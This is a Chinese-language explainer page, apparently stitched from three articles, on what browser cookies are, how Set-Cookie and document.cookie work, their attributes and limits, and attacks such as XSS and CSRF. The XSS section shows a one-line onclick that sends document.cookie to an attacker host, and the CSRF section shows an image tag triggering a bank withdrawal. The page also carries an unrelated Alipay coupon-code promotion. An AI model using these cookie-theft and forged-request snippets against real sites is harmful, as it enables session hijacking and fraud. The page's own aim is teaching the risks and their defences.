浏览器cookie是什么意思(浏览器里的cookie是什么)

2024-04-13 10:10:40 数码科技 投稿:口天吴
最佳答案演示机型:华为MateBook X系统版本:win10以华为MateBook X,win10为例:浏览器中Cookies是指服务器暂存放在你的电脑里的txt格式的文本文件资料,主要用于网络服务器辨别电脑使用。比如浏览网站时,Cookies记录下来你输入的一些资料和信息。再访问同一个网站,就会依据Cooki

浏览器cookie是什么意思

1

演示机型:华为MateBook X系统版本:win10

以华为MateBook X,win10为例:浏览器中Cookies是指服务器暂存放在你的电脑里的txt格式的文本文件资料,主要用于网络服务器辨别电脑使用。比如浏览网站时,Cookies记录下来你输入的一些资料和信息。再访问同一个网站,就会依据Cookie里的内容来判断使用者,送出特定的信息内容给你。

平时上网时都是使用无状态的HTTP协议传输出数据,这意味着客户端与服务端在数据传送完成后就会中断连接。这时我们就需要一个一直保持会话连接的机制。

在session出现前,cookie就完全充当了这种角色。也就是,cookie的小量信息能帮助我们跟踪会话。一般该信息记录用户身份。当然cookie也常记录跟踪购物车的商品信息(如数量)、记录用户访问次数等。

深入理解浏览器Cookie

2
Cookie产生的背景

随着web应用越来越复杂,希望能够在用户本身机器上存储用户信息,无论是登录信息,偏好设定或其他数据,这个问题第一个方案就是以cookie形式出现的,最早提出cookie的网景公司。一份题为“Persistent Client State: HTTP Cookes”(持久客户端状态:HTTP Cookies)的标准中对 cookie 机制进行了阐述(该标准还可以在这里看到:http://curl.haxx.se/rfc/cookie_spec.html)。今天,cookie只是在客户端存储数据的其中一种选项。

HTTP Cookie,通常直接叫做 cookie,最初是在客户端用于存储会话信息的。该标准要求服务器对 任意 HTTP 请求发送 Set-Cookie HTTP 头作为响应的一部分,其中包含会话信息。例如,这种服务器响 应的头可能如下:

HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value Other-header: other-header-value

这个 HTTP 响应设置以 name 为名称、以 value 为值的一个 cookie,名称和值在传送时都必须是URL 编码的。浏览器会存储这样的会话信息,并在这之后,通过为每个请求添加 Cookie HTTP 头将信息发送回服务器,如下所示:

GET /index.html HTTP/1.1 Cookie: name=value Other-header: other-header-valueCookie的机制

如图所示,用户首次访问服务器,服务器会返回一个独一无二的识别码;id=23451,这样服务器可以用这个码跟踪记录用户的信息,(购物历史,地址信息等)。

cookie可以包含任意的信息,不仅仅是id,客户端会记录服务器返回来的Set-Cookie首部中的cookie内容。并将cookie存储在浏览器的cookie数据库中,当用户访问同一站点时,浏览器就会挑选当时该站点颁发的id=XXX的身份证(cookie),并在Cookie请求首部发送过去。

Cookie的类型

cookie可以根据存储时间分为会话coolie和持久cookie,会话cookie会在关闭浏览器后自动删除,持久性cookie会存储在硬盘上,保存时间更久,关闭浏览器和电脑还可以保存。比如:

document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";Cookie的构成

cookie 对于哪个域是有效的。所有向该域发送的请求中都会包含这个 cookie 信息。这个值可以包含子域(subdomain,如www.wrox.com),也可以不包含它(如.wrox.com,则对于wrox.com的所有子域都有效)。如果没有明确设定,那么这个域会被认作来自设置 cookie 的那个域。

储存在 cookie 中的字符串值。值必须被 URL 编码。

路径

对于指定域中的那个路径,应该向服务器发送 cookie。例如,你可以指定 cookie 只有从http://www.wrox.com/books/ 中才能访问,那么 http://www.wrox.com 的页面就不会发送 cookie 信息,即使请求都是来自同一个域的。

过期时间

表示 cookie 何时应该被删除的时间戳(也就是,何时应该停止向服务器发送这个cookie)。默认情况下,浏览器会话结束时即将所有 cookie 删除;不过也可以自己设置删除时间。这个值是个 GMT 格式的日期(Wdy, DD-Mon-YYYY HH:MM:SS GMT),用于指定应该删除cookie 的准确时间。因此,cookie 可在浏览器关闭后依然保存在用户的机器上。如果你设置的失效日期是个以前的时间,则 cookie 会被立刻删除。

安全标志

指定后,cookie 只有在使用 SSL 连接的时候才发送到服务器。例如,cookie 信息只能发送给 https://www.wrox.com,而 http://www.wrox.com 的请求则不能发送 cookie。 每一段信息都作为 Set-Cookie 头的一部分,使用分号加空格分隔每一段,如下例所示。

HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value; expires=Mon, 22-Jan-07 07:10:24 GMT; domain=.wrox.com Other-header: other-header-value

该头信息指定了一个叫做 name 的 cookie,它会在格林威治时间 2007 年 1 月 22 日 7:10:24 失效,同时对于 www.wrox.com 和 wrox.com 的任何子域(如 p2p.wrox.com)都有效。 secure 标志是 cookie 中唯一一个非名值对儿的部分,直接包含一个 secure 单词。如下:

HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value; domain=.wrox.com; path=/; secure Other-header: other-header-value

这里,创建了一个对于所有 wrox.com 的子域和域名下(由 path 参数指定的)所有页面都有效的cookie。因为设置了 secure 标志,这个 cookie 只能通过 SSL 连接才能传输。尤其要注意,域、路径、失效时间和 secure 标志都是服务器给浏览器的指示,以指定何时应该发送 cookie。这些参数并不会作为发送到服务器的 cookie 信息的一部分,只有名值对儿才会被发送。

Javscript操作cookie

在JavaScript中处理cookie有些复杂,因为其众所周知的蹩脚的接口,即BOM的document. cookie属性。这个属性的独特之处在于它会因为使用它的方式不同而表现出不同的行为。当用来获取属性值时,document.cookie 返回当前页面可用的(根据 cookie 的域、路径、失效时间和安全设置)所有 cookie的字符串,一系列由分号隔开的名值对儿,如下例所示。

name1=value1;name2=value2;name3=value3

所有名字和值都是经过 URL 编码的,所以必须使用 decodeURIComponent()来解码。

注意:当用于设置值的时候,document.cookie 属性可以设置为一个新的 cookie 字符串。这个 cookie 字符串会被解释并添加到现有的 cookie 集合中。设置 document.cookie 并不会覆盖 cookie,除非设置的cookie 的名称已经存在。设置 cookie 的格式如下,和 Set-Cookie 头中使用的格式一样。

name=value; expires=expiration_time; path=domain_path; domain=domain_name; secure

这些参数中,只有 cookie 的名字和值是必需的。下面是一个简单的例子。

document.cookie = "name=Nicholas";

这段代码创建了一个叫 name 的 cookie,值为 Nicholas。当客户端每次向服务器端发送请求的时候,都会发送这个 cookie;当浏览器关闭的时候,它就会被删除。虽然这段代码没问题,但因为这里正好名称和值都无需编码,所以最好每次设置 cookie 时都像下面这个例子中一样使用encodeURIComponent()。 document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas");

要给被创建的 cookie 指定额外的信息,只要将参数追加到该字符串,和 Set-Cookie 头中的格式一样,如下所示。 document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas") + "; domain=.wrox.com; path=/";

由于JS操作cookie比较麻烦,我们一般封装一层

var CookieUtil={ setCookie:function(name,value,expiredays){ var d=new Date(); d.setDate(date.getDate()+expiredays); window.document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + ";path=/;expires=" + d.toGMTString(); }, getCookie:function(name){ var v=document.cookie.match('(^|;)'+name+'=([^;]*)(;|$)')); return v?v[2]:null; }, deleteCookie:function(name){ this.setCookie(name, '', -1) }}Cookie的缺点

1、大小限制,每个域的 cookie 总数是有限的,不过浏览器之间各有不同

IE6 以及更低版本限制每个域名最多 20 个 cookie。IE7 和之后版本每个域名最多 50 个。IE7 最初是支持每个域名最大 20 个 cookie,之后被微软的一个补丁所更新。Firefox 限制每个域最多 50 个 cookie。Opera 限制每个域最多 30 个 cookie。Safari 和 Chrome 对于每个域的 cookie 数量限制没有硬性规定。 大多数浏览器都有大约 4096B(加减 1)的长度限制。为了最佳的浏览器兼容性,最好将整个 cookie 长度限制在 4095B(含 4095)以内。尺寸限制影响到一个域下所有的 cookie,而并非每个 cookie 单独限制。如果你尝试创建超过最大尺寸限制的 cookie,那么该 cookie 会被悄无声息地丢掉。注意,虽然一个字符通常占用一字节,但是多字节情况则有不同。

2、过多的 Cookie 会带来巨大的性能浪费

Cookie 是紧跟域名的。同一个域名下的所有请求,都会携带 Cookie。大家试想,如果我们此刻仅仅是请求一张图片或者一个 CSS 文件,我们也要携带一个 Cookie 跑来跑去(关键是 Cookie 里存储的信息并不需要),这是一件多么劳民伤财的事情。Cookie 虽然小,请求却可以有很多,随着请求的叠加,这样的不必要的 Cookie 带来的开销将是无法想象的。

3、安全性问题

多数网站使用cookie作为用户会话的唯一标识,因为其他的方法具有限制和漏洞。如果一个网站使用cookies作为会话标识符,攻击者可以通过窃取一套用户的cookies来冒充用户的请求。从服务器的角度,它是没法分辨用户和攻击者的,因为用户和攻击者拥有相同的身份验证。 下面介绍几种cookie盗用和会话劫持的例子:

网络窃听

网络上的流量可以被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下,攻击者可以读取网络上的其他用户的信息,包含HTTP Cookie的全部内容,以便进行中间的攻击。比如:拦截cookie来冒充用户身份执行恶意任务(银行转账等)。

解决办法:服务器可以设置secure属性的cookie,这样就只能通过https的方式来发送cookies了。

DNS缓存中毒

如果攻击者可以使DNS缓存中毒,那么攻击者就可以访问用户的Cookie了,例如:攻击者使用DNS中毒来创建一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,由于 www.demo.com和h123456.www.demo.com是同一个子域,所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。

一般情况下是不会发生这种情况,通常是网络供应商错误。

跨站点脚本XSS

使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。 例子:

a href="#" onclick=window.location=http://abc.com?cookie=${docuemnt.cookie}领取红包

当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。

解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

跨站请求伪造CSRF

例如,SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素,例如,

img src = "http://www.bank.com/withdraw?user=SanShaoamount=999999for=XiaoMing"

如果SanShao的银行将其认证信息保存在cookie中,并且cookie尚未过期,(当然是没有其他验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的情况下授权交易。

解决办法:增加其他信息的校验(手机验证码,或者其他盾牌)。

希望本文能帮助到您!

点赞+转发,让更多的人也能看到这篇内容(收藏不点赞,都是耍流氓-_-)

关注 {我},享受文章首发体验!

每周重点攻克一个前端技术难点。更多精彩前端内容私信 我 回复“教程”!

原文链接:https://github.com/huzhao0316/articals/wiki/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E6%B5%8F%E8%A7%88%E5%99%A8Cookie

细说浏览器中的cookie

3

首先我们来看一下浏览器中的cookie是如何工作的。

每当浏览器向服务器发起http请求的时候,都会检查本地是否有相应的cookie,如果有则添加到请求头中一起发送到服务器端。由此可以看出cookie适合存储那些每次都要发给服务端的内容,比如身份信息等。

下面来看一下cookie的构成。

cookie有多个属性,每个属性都是用键值对表示的,键值对之间由一个分号和一个空格隔开。例如:document.cookie="nickname=会编程的猿; expires=11 Nov 2018 11:11:11 GMT;"。

cookie中的属性如下图所示:

图1 cookie的属性

图1中Name列是cookie的名字;Value列是cookie的值;Domain列是cookie的域;Path列是cookie的路径;Expires/Max-Age列是cookie的有效期;Size列是cookie大小;Http列是控制cookie只能通过http请求的方式访问;Secure列控制cookie只能在https下才被发送;SameSite列是限制cookie在不同站点之间是否被传递的,用的比较少。

下面我们重点介绍这其中的几个属性。

domain和path组合在一起来控制cookie可以被发送到哪些URL地址。当URL的域名是domain或者其子域名并且路径是path或者其子路径时,请求该URL就会携带cookie信息。举个例子:假设cookie的domain属性设置为.abc.def,path属性设置为/,那么当访问book.abc.def/novel或者music.abc.def或者abc.def/movie的时候都会携带该cookie信息。domain的默认值是当前网页的域名,path的默认值是当前网页的路径。

expires和max-age都可以设置cookie的有效期。expires设置的是一个时间点,到时间点之后cookie失效;max-age设置的是一个时间段,从cookie创建的时候算起,过max-age时间之后cookie失效,他们的等效关系是expires=创建时间 + max-age。如果不设置cookie的有效期,那么浏览器关闭之后cookie就会失效,上图1中的Expires/Max-Age列值为session的就是没有设置有效期的cookie。

HttpOnly属性限制cookie只能通过http请求的方式访问,而不能通过本地js访问,可以防止js修改cookie的内容。比如上图1中Http列值为√的就表示设置了HttpOnly属性,我们在本地通过js获取cookie如下:

图2 通过js获取cookie信息

我们可以看到通过js只能获取到没有设置HttpOnly属性4个的cookie。图1中有两个设置了HttpOnly属性的cookie通过js是获取不到的。

看到这里真是辛苦了,下面放松一下^_^

复制下面花括号{}里面的文字领取。注意:每天可领一次,建议把{}里面的内容存起来,每天都可复制领取。

{复制这里Molrjj28mp,然后打开支付宝就能领取!三天之内线下付款抵扣}

篇幅有限,关于cookie的设置以及cookie跨域的相关内容后续文章再作介绍,感谢阅读。

WwW.BaiKeZhishi.Com
标签: 浏览器 cookie
免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理,本文部分文字与图片资源来自于网络,转载此文是出于传递更多信息之目的,若有来源标注错误或侵犯了您的合法权益,请立即通知我们(管理员邮箱:baikezhishi@foxmail.com),情况属实,我们会第一时间予以删除,并同时向您表示歉意,谢谢!